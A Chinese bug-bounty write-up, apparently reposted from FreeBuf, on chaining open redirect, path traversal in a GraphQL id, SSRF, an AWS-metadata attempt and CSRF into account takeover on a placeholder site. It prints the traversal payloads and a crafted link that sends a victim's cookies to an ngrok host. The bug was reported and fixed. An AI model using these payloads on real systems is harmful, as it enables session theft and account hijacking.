最近,在测试目标网站https://target.com的过程中,作者通过综合其Web应用存在的开放重定向、路径遍历和CSRF漏洞,最终实现了账户劫持。

从../到开放重定向说起

经过对目标网站https://target.com的测试之后,我发现了其中存在一个开放重定向问题,如果我们在请求GET /api/..前添加两个/号,就会得到以下响应:

HTTP 1.1 301

....
Location: //api/..
....

也即,会跳转到api/..路径下。经过反复尝试后,我构造了这个链接https://target.com///google.com//,向目标网站发起请求后,它会执行一个到google.com的跳转:

开放重定向一般来说都属低危漏洞,所以我决定再深挖看看其它的。

路径遍历

我注册了https://target.com/上的Web应用,在应用过程中配合burp进行抓包,之后我发现其网站会向一个GraphQL API发起不同请求。GraphQL是一种API数据查询语言,很多大公司都用GraphQL API代替了 REST API。在测试该网站的GraphQL API后,名为GetAuthorizedApps的变更请求吸引了我的注意,它的功能是用来连接第三方app应用以OAuth对账号进行验证。

该请求本身没有多大问题,但其中出现的id变量确实让我有了兴趣,这里的id是以string而并非整数被发送传输的,当时我就想,这个id号能否用来对目标网站内部某个API执行ssrf请求呢?就像http://localhost:8080/api/1/:ID这样?所以我就以615601'为id号,发起的请求,看看服务端会抛出什么错误响应?

事实证明我是对的,服务端响应中给出了API的详细路径目录,我接着又构造了615601../../../的id值发起了请求,服务端响应中给出了其网站的根目录路径:

该问题原因可能在于URL解析库在请求前不当地执行了目录路径遍历。

Path traversal + Open redirect = SSRF

基于上述发现, 我们来看看现在的情况。目标网站使用REST和GraphQL方式来获取、更改和删除用户数据,而GraphQL有点类似REST API的代理,其可以向服务端不同的REST端点发起ssrf请求,以获取或更改相关数据,就比如以下GraphQL请求模式:

{“query”:”query GetUser($id: ID!){\n GetUser(id: $id)\n}}”,”variables”:{“ID”:”12345”}} 会向端点https://target.com/api/user/12345发起一个内部的GET请求。

所以,这就形成了一个开放重定向(Open redirect)和一个目录遍历漏洞(Path traversal),而Path traversal + Open redirect = SSRF。接着,我通过自架的ngrok网站实例配合burp collaborator,来验证最终的SSRF效果,得到以下响应:

结果就是,我们可以让目标网站服务端请求我的ngrok服务///XXXXXXXX.ngrok.io// ,证明SSRF请求成功。我这边在ngrok服务中收到的请求信息如下:

尝试请求AWS元数据碰壁

有了上述的SSRF漏洞,接下来我想尝试去请求目标网站部署在AWS EC2实例的元数据。我写了一个python脚本,创建了一个HTTP Server,把所有对http://169.254.169.254的入站请求都跳转到了我自架的ngrok服务中,另外一个原因是目标网站只支持https,用ngrok服务刚好可以实现。以下是最终响应:

无法读取请求响应,原因在于服务端希望请求是JSON形式的。但尽管如此,我还是可以利用该方式探测到目标的内部网络架构,但最终漏洞危害也会仅限于中危而已。之后,又经过几多测试,我发现了另一种该种漏洞利用的提权方式。

Gotcha!

还记得上面那个SSRF请求吗,我ngrok服务端收到的ssrf请求如下:

其中的cookie头就是用户会话信息,因此可以通过用XSS方式来利用这个cookie信息。但我找了好久也没发现可用的XSS漏洞。之后,我发现另一个与GetAuthorized请求相似的请求ZtsplXXXXXXX:

经过比对,我发现,GetAuthorized请求与ZtsplXXXXXXX请求的不同之处在于,GetAuthorized请求是一个变更(mutation)请求,而ZtsplXXXXXXX请求是一个正常请求。另外,由于GraphQL端点是Apollo服务端,且支持如下GET请求:

GET /graphql?query=query aTest($arg1: String!) {test(who: $arg1) }&operationName=aTest&variables={"arg1":"me"}

因为变更请求不支持GET请求,所以可以利用该ZtSpXXXXXXXXX请求来综合上述发现实现CSRF攻击。

综合利用

一个开放重定向漏洞,一个路径遍历漏洞,再加一个CSRF漏洞,综合构造以下链接以获取受害者Cookie信息:

https://target.com/api/graphql/v2?query=query ZtSpXXXXXXXXX($id: ID!) {  XXXXXXXX(id: $id) {    title    steps    headService {      id      name      __typename    }    tailService {      id      name      __typename    }    services {      id      name      __typename    }    __typename  }}&variables={"id":"1234/../../../../../..///xxxxxxx.ngrok.io//"}

只要受害者点击上述链接,他的Cookie信息就会被发送到我的ngrok服务端来,我也即能利用他的cookie信息登录他的账户,实现账户劫持。

漏洞报送和处理进程

2020.8.29  发现开放重定向和路径遍历漏洞
2020.8.30  发现可实现账号劫持的漏洞
2020.9.18  漏洞被评为严重,经修复后发放赏金

参考来源:

ninetyn1ne

本文作者:clouds, 转自FreeBuf